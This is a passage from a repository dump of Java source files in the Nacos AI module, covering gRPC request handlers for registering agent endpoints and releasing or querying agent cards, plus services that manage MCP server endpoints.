\n    public AgentEndpointRequestHandler(EphemeralClientOperationServiceImpl clientOperationService,\n            AgentIdCodecHolder agentIdCodecHolder) {\n        this.clientOperationService = clientOperationService;\n        this.agentIdCodecHolder = agentIdCodecHolder;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @ExtractorManager.Extractor(rpcExtractor = AgentRequestParamExtractor.class)\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI)\n    public AgentEndpointResponse handle(AgentEndpointRequest request, RequestMeta meta) throws NacosException {\n        AgentEndpointResponse response = new AgentEndpointResponse();\n        response.setType(request.getType());\n        AgentRequestUtil.fillNamespaceId(request);\n        try {\n            validateRequest(request);\n            Instance instance = transferInstance(request);\n            String serviceName =\n                    agentIdCodecHolder.encode(request.getAgentName()) + \"::\" + request.getEndpoint().getVersion();\n            Service service = Service.newService(request.getNamespaceId(), Constants.A2A.AGENT_ENDPOINT_GROUP,\n                    serviceName);\n            switch (request.getType()) {\n                case AiRemoteConstants.REGISTER_ENDPOINT:\n                    doRegisterEndpoint(service, instance, meta);\n                    break;\n                case AiRemoteConstants.DE_REGISTER_ENDPOINT:\n                    doDeregisterEndpoint(service, instance, meta);\n                    break;\n                default:\n                    throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                            String.format(\"parameter `type` should be %s or %s, but was %s\",\n                                    AiRemoteConstants.REGISTER_ENDPOINT, AiRemoteConstants.DE_REGISTER_ENDPOINT,\n                                    request.getType()));\n            }\n        } catch (NacosApiException e) {\n            response.setErrorInfo(e.getErrCode(), e.getErrMsg());\n            LOGGER.error(\"[{}] Register agent endpoint to agent {} error: {}\", meta.getConnectionId(),\n                    request.getAgentName(), e.getErrMsg());\n        }\n        return response;\n    }\n    \n    private Instance transferInstance(AgentEndpointRequest request) throws NacosApiException {\n        return AgentEndpointUtil.transferToInstance(request.getEndpoint());\n    }\n    \n    private void validateRequest(AgentEndpointRequest request) throws NacosApiException {\n        if (StringUtils.isBlank(request.getAgentName())) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `agentName` can't be empty or null\");\n        }\n        if (null == request.getEndpoint()) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `endpoint` can't be null\");\n        }\n        if (StringUtils.isBlank(request.getEndpoint().getVersion())) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `endpoint.version` can't be empty or null\");\n        }\n    }\n    \n    private void doRegisterEndpoint(Service service, Instance instance, RequestMeta meta) throws NacosException {\n        clientOperationService.registerInstance(service, instance, meta.getConnectionId());\n        NotifyCenter.publishEvent(new RegisterInstanceTraceEvent(System.currentTimeMillis(),\n                NamingRequestUtil.getSourceIpForGrpcRequest(meta), true, service.getNamespace(), service.getGroup(),\n                service.getName(), instance.getIp(), instance.getPort()));\n        \n    }\n    \n    private void doDeregisterEndpoint(Service service, Instance instance, RequestMeta meta) {\n        clientOperationService.deregisterInstance(service, instance, meta.getConnectionId());\n        NotifyCenter.publishEvent(new DeregisterInstanceTraceEvent(System.currentTimeMillis(),\n                NamingRequestUtil.getSourceIpForGrpcRequest(meta), true, DeregisterInstanceReason.REQUEST,\n                service.getNamespace(), service.getGroup(), service.getName(), instance.getIp(),\n                instance.getPort()));\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/remote/handler/a2a/BatchAgentEndpointRequestHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      https://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler.a2a;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.ai.service.a2a.identity.AgentIdCodecHolder;\nimport com.alibaba.nacos.ai.utils.AgentEndpointUtil;\nimport com.alibaba.nacos.ai.utils.AgentRequestUtil;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentEndpoint;\nimport com.alibaba.nacos.api.ai.remote.AiRemoteConstants;\nimport com.alibaba.nacos.api.ai.remote.request.BatchAgentEndpointRequest;\nimport com.alibaba.nacos.api.ai.remote.response.AgentEndpointResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.notify.NotifyCenter;\nimport com.alibaba.nacos.common.trace.event.naming.BatchRegisterInstanceTraceEvent;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.AgentRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\nimport com.alibaba.nacos.naming.core.v2.service.impl.EphemeralClientOperationServiceImpl;\nimport com.alibaba.nacos.naming.utils.NamingRequestUtil;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\nimport java.util.Collection;\nimport java.util.HashSet;\nimport java.util.List;\nimport java.util.Set;\n\n/**\n * Batch Register endpoints for agent to nacos AI module request handler.\n *\n * @author xiweng.yy\n */\n@Component\npublic class BatchAgentEndpointRequestHandler extends RequestHandler<BatchAgentEndpointRequest, AgentEndpointResponse> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(BatchAgentEndpointRequestHandler.class);\n    \n    private final EphemeralClientOperationServiceImpl clientOperationService;\n    \n    private final AgentIdCodecHolder agentIdCodecHolder;\n    \n    public BatchAgentEndpointRequestHandler(EphemeralClientOperationServiceImpl clientOperationService,\n            AgentIdCodecHolder agentIdCodecHolder) {\n        this.clientOperationService = clientOperationService;\n        this.agentIdCodecHolder = agentIdCodecHolder;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @ExtractorManager.Extractor(rpcExtractor = AgentRequestParamExtractor.class)\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI)\n    public AgentEndpointResponse handle(BatchAgentEndpointRequest request, RequestMeta meta) throws NacosException {\n        AgentEndpointResponse response = new AgentEndpointResponse();\n        response.setType(AiRemoteConstants.BATCH_REGISTER_ENDPOINT);\n        AgentRequestUtil.fillNamespaceId(request);\n        try {\n            validateRequest(request);\n            List<Instance> instances = AgentEndpointUtil.transferToInstances(request.getEndpoints());\n            String version = request.getEndpoints().stream().findFirst().get().getVersion();\n            String serviceName = agentIdCodecHolder.encode(request.getAgentName()) + \"::\" + version;\n            Service service = Service.newService(request.getNamespaceId(), Constants.A2A.AGENT_ENDPOINT_GROUP,\n                    serviceName);\n            clientOperationService.batchRegisterInstance(service, instances, meta.getConnectionId());\n            publishBatchRegisterInstanceTraceEvent(service, instances, meta);\n        } catch (NacosApiException e) {\n            response.setErrorInfo(e.getErrCode(), e.getErrMsg());\n            LOGGER.error(\"[{}] Batch Register agent endpoints to agent {} error: {}\", meta.getConnectionId(),\n                    request.getAgentName(), e.getErrMsg());\n        }\n        return response;\n    }\n    \n    private void validateRequest(BatchAgentEndpointRequest request) throws NacosApiException {\n        if (StringUtils.isBlank(request.getAgentName())) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `agentName` can't be empty or null\");\n        }\n        if (null == request.getEndpoints() || request.getEndpoints().isEmpty()) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"Required parameter `endpoints` can't be empty or null, if want to deregister, please use deregister API.\");\n        }\n        Collection<AgentEndpoint> endpoints = request.getEndpoints();\n        Set<String> versions = new HashSet<>();\n        for (AgentEndpoint each : endpoints) {\n            if (StringUtils.isBlank(each.getVersion())) {\n                throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                        \"Required parameter `endpoint.version` can't be empty or null.\");\n            }\n            versions.add(each.getVersion());\n        }\n        if (versions.size() > 1) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_VALIDATE_ERROR,\n                    String.format(\"Required parameter `endpoint.version` can't be different, current includes: %s.\",\n                            String.join(\",\", versions)));\n        }\n    }\n    \n    private void publishBatchRegisterInstanceTraceEvent(Service service, List<Instance> instances, RequestMeta meta) {\n        long eventTime = System.currentTimeMillis();\n        String clientIp = NamingRequestUtil.getSourceIpForGrpcRequest(meta);\n        instances.forEach(instance -> NotifyCenter.publishEvent(\n                new BatchRegisterInstanceTraceEvent(eventTime, clientIp, true, service.getNamespace(),\n                        service.getGroup(), service.getName(), instance.getIp(), instance.getPort())));\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/remote/handler/a2a/QueryAgentCardRequestHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler.a2a;\n\nimport com.alibaba.nacos.ai.service.a2a.A2aServerOperationService;\nimport com.alibaba.nacos.ai.utils.AgentRequestUtil;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.remote.request.QueryAgentCardRequest;\nimport com.alibaba.nacos.api.ai.remote.response.QueryAgentCardResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.AgentRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\n/**\n * Nacos AI module query agent card request handler.\n *\n * @author xiweng.yy\n */\n@Component\npublic class QueryAgentCardRequestHandler extends RequestHandler<QueryAgentCardRequest, QueryAgentCardResponse> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(QueryAgentCardRequestHandler.class);\n    \n    private final A2aServerOperationService a2aServerOperationService;\n    \n    public QueryAgentCardRequestHandler(A2aServerOperationService a2aServerOperationService) {\n        this.a2aServerOperationService = a2aServerOperationService;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @ExtractorManager.Extractor(rpcExtractor = AgentRequestParamExtractor.class)\n    @Secured(action = ActionTypes.READ, signType = SignType.AI)\n    public QueryAgentCardResponse handle(QueryAgentCardRequest request, RequestMeta meta) throws NacosException {\n        AgentRequestUtil.fillNamespaceId(request);\n        if (StringUtils.isBlank(request.getAgentName())) {\n            QueryAgentCardResponse errorResponse = new QueryAgentCardResponse();\n            errorResponse.setErrorInfo(NacosException.INVALID_PARAM, \"parameters `agentName` can't be empty or null\");\n            return errorResponse;\n        }\n        return doHandler(request);\n    }\n    \n    private QueryAgentCardResponse doHandler(QueryAgentCardRequest request) {\n        QueryAgentCardResponse response = new QueryAgentCardResponse();\n        try {\n            AgentCardDetailInfo result = a2aServerOperationService.getAgentCard(request.getNamespaceId(),\n                    request.getAgentName(), request.getVersion(), request.getRegistrationType());\n            response.setAgentCardDetailInfo(result);\n        } catch (NacosException e) {\n            LOGGER.error(\"Query agent card for agent {} error: {}\", request.getAgentName(), e.getErrMsg());\n            response.setErrorInfo(e.getErrCode(), e.getErrMsg());\n        }\n        return response;\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/remote/handler/a2a/ReleaseAgentCardRequestHandler.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.handler.a2a;\n\nimport com.alibaba.nacos.ai.service.a2a.A2aServerOperationService;\nimport com.alibaba.nacos.ai.utils.AgentRequestUtil;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCard;\nimport com.alibaba.nacos.api.ai.model.a2a.AgentCardDetailInfo;\nimport com.alibaba.nacos.api.ai.remote.request.ReleaseAgentCardRequest;\nimport com.alibaba.nacos.api.ai.remote.response.ReleaseAgentCardResponse;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.remote.request.RequestMeta;\nimport com.alibaba.nacos.auth.annotation.Secured;\nimport com.alibaba.nacos.common.utils.JacksonUtils;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.core.namespace.filter.NamespaceValidation;\nimport com.alibaba.nacos.core.paramcheck.ExtractorManager;\nimport com.alibaba.nacos.core.paramcheck.impl.AgentRequestParamExtractor;\nimport com.alibaba.nacos.core.remote.RequestHandler;\nimport com.alibaba.nacos.plugin.auth.constant.ActionTypes;\nimport com.alibaba.nacos.plugin.auth.constant.SignType;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.stereotype.Component;\n\n/**\n * Nacos AI module release agent card request handler.\n *\n * @author xiweng.yy\n */\n@Component\npublic class ReleaseAgentCardRequestHandler extends RequestHandler<ReleaseAgentCardRequest, ReleaseAgentCardResponse> {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ReleaseAgentCardRequestHandler.class);\n    \n    private final A2aServerOperationService a2aServerOperationService;\n    \n    public ReleaseAgentCardRequestHandler(A2aServerOperationService a2aServerOperationService) {\n        this.a2aServerOperationService = a2aServerOperationService;\n    }\n    \n    @Override\n    @NamespaceValidation\n    @ExtractorManager.Extractor(rpcExtractor = AgentRequestParamExtractor.class)\n    @Secured(action = ActionTypes.WRITE, signType = SignType.AI)\n    public ReleaseAgentCardResponse handle(ReleaseAgentCardRequest request, RequestMeta meta) throws NacosException {\n        AgentRequestUtil.fillNamespaceId(request);\n        ReleaseAgentCardResponse response = new ReleaseAgentCardResponse();\n        try {\n            validateRequest(request);\n            doHandler(request, meta);\n            return response;\n        } catch (NacosException e) {\n            response.setErrorInfo(e.getErrCode(), e.getErrMsg());\n            LOGGER.error(\"[{}] Release agent card {} error: {}\", meta.getConnectionId(),\n                    null == request.getAgentCard() ? null : JacksonUtils.toJson(request.getAgentCard()), e.getErrMsg());\n        }\n        return response;\n    }\n    \n    private void validateRequest(ReleaseAgentCardRequest request) throws NacosApiException {\n        if (null == request.getAgentCard()) {\n            throw new NacosApiException(NacosException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                    \"parameters `agentCard` can't be null\");\n        }\n        AgentRequestUtil.validateAgentCard(request.getAgentCard());\n    }\n    \n    private void doHandler(ReleaseAgentCardRequest request, RequestMeta meta) throws NacosException {\n        String namespaceId = request.getNamespaceId();\n        AgentCard agentCard = request.getAgentCard();\n        LOGGER.info(\"Release new agent {}, version {} into namespaceId {} from connectionId {}.\", agentCard.getName(),\n                agentCard.getVersion(), namespaceId, meta.getConnectionId());\n        try {\n            AgentCardDetailInfo existAgentCard = a2aServerOperationService.getAgentCard(namespaceId,\n                    agentCard.getName(), agentCard.getVersion(), StringUtils.EMPTY);\n            LOGGER.info(\"AgentCard {} and target version {} already exist.\", existAgentCard.getName(),\n                    existAgentCard.getVersion());\n        } catch (NacosApiException e) {\n            if (ErrorCode.AGENT_NOT_FOUND.getCode() == e.getDetailErrCode()) {\n                // agent card not found, create new agent card.\n                createAgentCard(namespaceId, agentCard, request.getRegistrationType());\n                LOGGER.info(\"AgentCard {} released.\", agentCard.getName());\n            } else if (ErrorCode.AGENT_VERSION_NOT_FOUND.getCode() == e.getDetailErrCode()) {\n                // agent card found but version not found, update agent card.\n                createNewVersionAgentCard(namespaceId, agentCard, request.getRegistrationType(), request.isSetAsLatest());\n                LOGGER.info(\"AgentCard {} new version {} released.\", agentCard.getName(), agentCard.getVersion());\n            } else {\n                LOGGER.error(\"AgentCard {} released failed.\", agentCard.getName(), e);\n                throw e;\n            }\n        }\n    }\n    \n    private void createAgentCard(String namespaceId, AgentCard agentCard, String registrationType)\n            throws NacosException {\n        a2aServerOperationService.registerAgent(agentCard, namespaceId, registrationType);\n    }\n    \n    private void createNewVersionAgentCard(String namespaceId, AgentCard agentCard, String registrationType,\n            boolean setAsLatest) throws NacosException {\n        a2aServerOperationService.updateAgentCard(agentCard, namespaceId, registrationType, setAsLatest);\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/remote/manager/AiConnectionBasedClientManager.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.remote.manager;\n\nimport com.alibaba.nacos.api.remote.RemoteConstants;\nimport com.alibaba.nacos.core.remote.ClientConnectionEventListener;\nimport com.alibaba.nacos.core.remote.Connection;\nimport com.alibaba.nacos.naming.consistency.ephemeral.distro.v2.DistroClientVerifyInfo;\nimport com.alibaba.nacos.naming.constants.ClientConstants;\nimport com.alibaba.nacos.naming.core.v2.client.Client;\nimport com.alibaba.nacos.naming.core.v2.client.ClientAttributes;\nimport com.alibaba.nacos.naming.core.v2.client.manager.ClientManager;\nimport com.alibaba.nacos.naming.core.v2.client.manager.impl.ConnectionBasedClientManager;\nimport org.springframework.stereotype.Service;\n\nimport java.util.Collection;\n\n/**\n * The manager of {@code ConnectionBasedClient} For AI module.\n *\n * <p>\n *     proxy for {@link ConnectionBasedClientManager}, only listen connection that module `ai`.\n *     The actual implementation is {@link ConnectionBasedClientManager},\n * </p>\n *\n * @author xiweng.yy\n */\n@Service\npublic class AiConnectionBasedClientManager extends ClientConnectionEventListener implements ClientManager {\n    \n    private final ConnectionBasedClientManager delegate;\n    \n    public AiConnectionBasedClientManager(ConnectionBasedClientManager connectionBasedClientManager) {\n        this.delegate = connectionBasedClientManager;\n    }\n    \n    @Override\n    public void clientConnected(Connection connect) {\n        // ignore `naming`, `config` and `lock` module connection\n        if (!RemoteConstants.LABEL_MODULE_AI.equals(connect.getMetaInfo().getLabel(RemoteConstants.LABEL_MODULE))) {\n            return;\n        }\n        ClientAttributes attributes = new ClientAttributes();\n        attributes.addClientAttribute(ClientConstants.CONNECTION_TYPE, connect.getMetaInfo().getConnectType());\n        attributes.addClientAttribute(ClientConstants.CONNECTION_METADATA, connect.getMetaInfo());\n        clientConnected(connect.getMetaInfo().getConnectionId(), attributes);\n    }\n    \n    @Override\n    public boolean clientConnected(String clientId, ClientAttributes attributes) {\n        return delegate.clientConnected(clientId, attributes);\n    }\n    \n    @Override\n    public boolean clientConnected(Client client) {\n        return delegate.clientConnected(client);\n    }\n    \n    @Override\n    public boolean syncClientConnected(String clientId, ClientAttributes attributes) {\n        return delegate.syncClientConnected(clientId, attributes);\n    }\n    \n    @Override\n    public void clientDisConnected(Connection connect) {\n        // ignore `naming`, `config` and `lock` module connection\n        if (!RemoteConstants.LABEL_MODULE_AI.equals(connect.getMetaInfo().getLabel(RemoteConstants.LABEL_MODULE))) {\n            return;\n        }\n        clientDisconnected(connect.getMetaInfo().getConnectionId());\n    }\n    \n    @Override\n    public boolean clientDisconnected(String clientId) {\n        return delegate.clientDisconnected(clientId);\n    }\n    \n    @Override\n    public Client getClient(String clientId) {\n        return delegate.getClient(clientId);\n    }\n    \n    @Override\n    public boolean contains(String clientId) {\n        return delegate.contains(clientId);\n    }\n    \n    @Override\n    public Collection<String> allClientId() {\n        return delegate.allClientId();\n    }\n    \n    @Override\n    public boolean isResponsibleClient(Client client) {\n        return delegate.isResponsibleClient(client);\n    }\n    \n    @Override\n    public boolean verifyClient(DistroClientVerifyInfo verifyData) {\n        return delegate.verifyClient(verifyData);\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/McpEndpointOperationService.java",
    "content": "/*\n * Copyright 1999-2025 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.ai.service;\n\nimport com.alibaba.nacos.ai.constant.Constants;\nimport com.alibaba.nacos.api.ai.constant.AiConstants;\nimport com.alibaba.nacos.api.ai.model.mcp.McpEndpointSpec;\nimport com.alibaba.nacos.api.ai.model.mcp.McpServiceRef;\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.naming.CommonParams;\nimport com.alibaba.nacos.api.naming.pojo.Instance;\nimport com.alibaba.nacos.api.naming.pojo.healthcheck.AbstractHealthChecker;\nimport com.alibaba.nacos.naming.core.InstanceOperator;\nimport com.alibaba.nacos.naming.core.ServiceOperator;\nimport com.alibaba.nacos.naming.core.v2.ServiceManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.ClusterMetadata;\nimport com.alibaba.nacos.naming.core.v2.metadata.NamingMetadataManager;\nimport com.alibaba.nacos.naming.core.v2.metadata.ServiceMetadata;\nimport com.alibaba.nacos.naming.core.v2.pojo.Service;\n\nimport java.util.List;\nimport java.util.Map;\n\n/**\n * Nacos AI MCP Endpoint operation service.\n *\n * @author xiweng.yy\n */\n@org.springframework.stereotype.Service\npublic class McpEndpointOperationService {\n    \n    private final ServiceOperator serviceOperator;\n    \n    private final InstanceOperator instanceOperator;\n    \n    private final NamingMetadataManager metadataManager;\n    \n    public McpEndpointOperationService(ServiceOperator serviceOperator, InstanceOperator instanceOperator,\n            NamingMetadataManager metadataManager) {\n        this.serviceOperator = serviceOperator;\n        this.instanceOperator = instanceOperator;\n        this.metadataManager = metadataManager;\n    }\n    \n    /**\n     * Create Mcp Server Endpoint Service if necessary.\n     *\n     * <p>If type is REF, directly return service</p>\n     * <p>If service not exist, do create new service and register instance, then return service</p>\n     * <p>If service exist, only do register instance, then return service</p>\n     *\n     * @param namespaceId           namespace id of mcp server\n     * @param mcpName               name of mcp server\n     * @param endpointSpecification mcp server endpoint specification, see {@link McpEndpointSpec}\n     * @param overrideExisting       if replace all the instances when update the mcp server\n     * @return {@link Service}\n     * @throws NacosException any exception during handling\n     */\n    public Service createMcpServerEndpointServiceIfNecessary(String namespaceId, String mcpName, String version,\n            McpEndpointSpec endpointSpecification, boolean overrideExisting) throws NacosException {\n        if (AiConstants.Mcp.MCP_ENDPOINT_TYPE_REF.equalsIgnoreCase(endpointSpecification.getType())) {\n            Map<String, String> endpointServiceData = endpointSpecification.getData();\n            if (!endpointServiceData.containsKey(CommonParams.NAMESPACE_ID) || !endpointServiceData.containsKey(\n                    CommonParams.GROUP_NAME) || !endpointServiceData.containsKey(CommonParams.SERVICE_NAME)) {\n                throw new NacosApiException(NacosApiException.INVALID_PARAM, ErrorCode.PARAMETER_MISSING,\n                        \"`namespaceId`, `groupName`, `serviceName` should be in remoteServerConfig data if type is `REF`\");\n            }\n            String refGroupName = endpointSpecification.getData().get(CommonParams.GROUP_NAME);\n            String refServiceName = endpointSpecification.getData().get(CommonParams.SERVICE_NAME);\n            return Service.newService(namespaceId, refGroupName, refServiceName);\n        }\n        String versionMcpName = mcpName + \"::\" + version;\n        Service service = generateService(namespaceId, versionMcpName);\n        if (isNotExist(service)) {\n            doCreateNewService(service);\n            doUpdateInstanceInfo(service, endpointSpecification, namespaceId, mcpName, overrideExisting, versionMcpName);\n            return service;\n        }\n        doUpdateInstanceInfo(service, endpointSpecification, namespaceId, mcpName, overrideExisting, versionMcpName);\n        return service;\n    }\n    \n    public Service generateService(String namespaceId, String mcpName) {\n        return Service.newService(namespaceId, Constants.MCP_SERVER_ENDPOINT_GROUP, mcpName);\n    }\n    \n    public List<Instance> getMcpServerEndpointInstances(McpServiceRef serviceRef) throws NacosException {\n        return instanceOperator.listInstance(serviceRef.getNamespaceId(), serviceRef.getGroupName(),\n                serviceRef.getServiceName(), null, \"\", true).getHosts();\n    }\n    \n    /**\n     * Delete Mcp Server Endpoint Service.\n     *\n     * <p>If service not exist, return directly</p>\n     * <p>If service exist and service is ref, return directly</p>\n     * <p>If service exist and service is direct, do deregister instance and remove service</p>\n     *\n     * @param namespaceId namespace id of mcp server\n     * @param mcpServerName     name of mcp server\n     * @throws NacosException any exception during handling\n     */\n    public void deleteMcpServerEndpointService(String namespaceId, String mcpServerName) throws NacosException {\n        Service service = Service.newService(namespaceId, Constants.MCP_SERVER_ENDPOINT_GROUP, mcpServerName);\n        if (isNotExist(service) || !isMcpDirectService(service)) {\n            return;\n        }\n        List<Instance> deletingInstance = instanceOperator.listInstance(namespaceId,\n                Constants.MCP_SERVER_ENDPOINT_GROUP, mcpServerName, null, \"\", false).getHosts();\n        for (Instance each : deletingInstance) {\n            instanceOperator.removeInstance(namespaceId, Constants.MCP_SERVER_ENDPOINT_GROUP, mcpServerName, each);\n        }\n        serviceOperator.delete(service.getNamespace(), service.getGroupedServiceName());\n    }\n    \n    private boolean isNotExist(Service service) throws NacosException {\n        return !ServiceManager.getInstance().containSingleton(service);\n    }\n    \n    private boolean isMcpDirectService(Service service) {\n        ServiceMetadata metadata = metadataManager.getServiceMetadata(service).orElse(new ServiceMetadata());\n        return metadata.getExtendData().containsKey(Constants.MCP_SERVER_ENDPOINT_METADATA_MARK);\n    }\n    \n    private void doCreateNewService(Service service) throws NacosException {\n        ClusterMetadata clusterMetadata = new ClusterMetadata();\n        clusterMetadata.setHealthyCheckType(AbstractHealthChecker.None.TYPE);\n        clusterMetadata.setHealthChecker(new AbstractHealthChecker.None());\n        ServiceMetadata serviceMetadata = new ServiceMetadata();\n        serviceMetadata.getClusters().put(Constants.MCP_SERVER_ENDPOINT_CLUSTER, clusterMetadata);\n        serviceMetadata.setEphemeral(false);\n        // Mark service as direct service\n        serviceMetadata.getExtendData().put(Constants.MCP_SERVER_ENDPOINT_METADATA_MARK, \"true\");\n        serviceOperator.create(service.getNamespace(), service.getGroupedServiceName(), serviceMetadata);\n    }\n    \n    private void doUpdateInstanceInfo(Service service, McpEndpointSpec endpointSpecification,\n                          String namespaceId, String mcpServerName, boolean overrideExisting, String versionMcpName) throws NacosException {\n        Instance instance = new Instance();\n        instance.setIp(endpointSpecification.getData().get(Constants.MCP_SERVER_ENDPOINT_ADDRESS));\n        instance.setPort(Integer.parseInt(endpointSpecification.getData().get(Constants.MCP_SERVER_ENDPOINT_PORT)));\n        instance.setClusterName(Constants.MCP_SERVER_ENDPOINT_CLUSTER);\n        instance.setEphemeral(false);\n        if (overrideExisting) {\n            List<Instance> oldInstances = instanceOperator.listInstance(namespaceId,\n                    Constants.MCP_SERVER_ENDPOINT_GROUP, versionMcpName, null, \"\", false).getHosts();\n            for (Instance each : oldInstances) {\n                instanceOperator.removeInstance(namespaceId, Constants.MCP_SERVER_ENDPOINT_GROUP, versionMcpName, each);\n            }\n        }\n        instanceOperator.registerInstance(service.getNamespace(), service.getGroup(), service.getName(), instance);\n    }\n}\n"
  },
  {
    "path": "ai/src/main/java/com/alibaba/nacos/ai/service/McpExternalDataAdaptor.java",
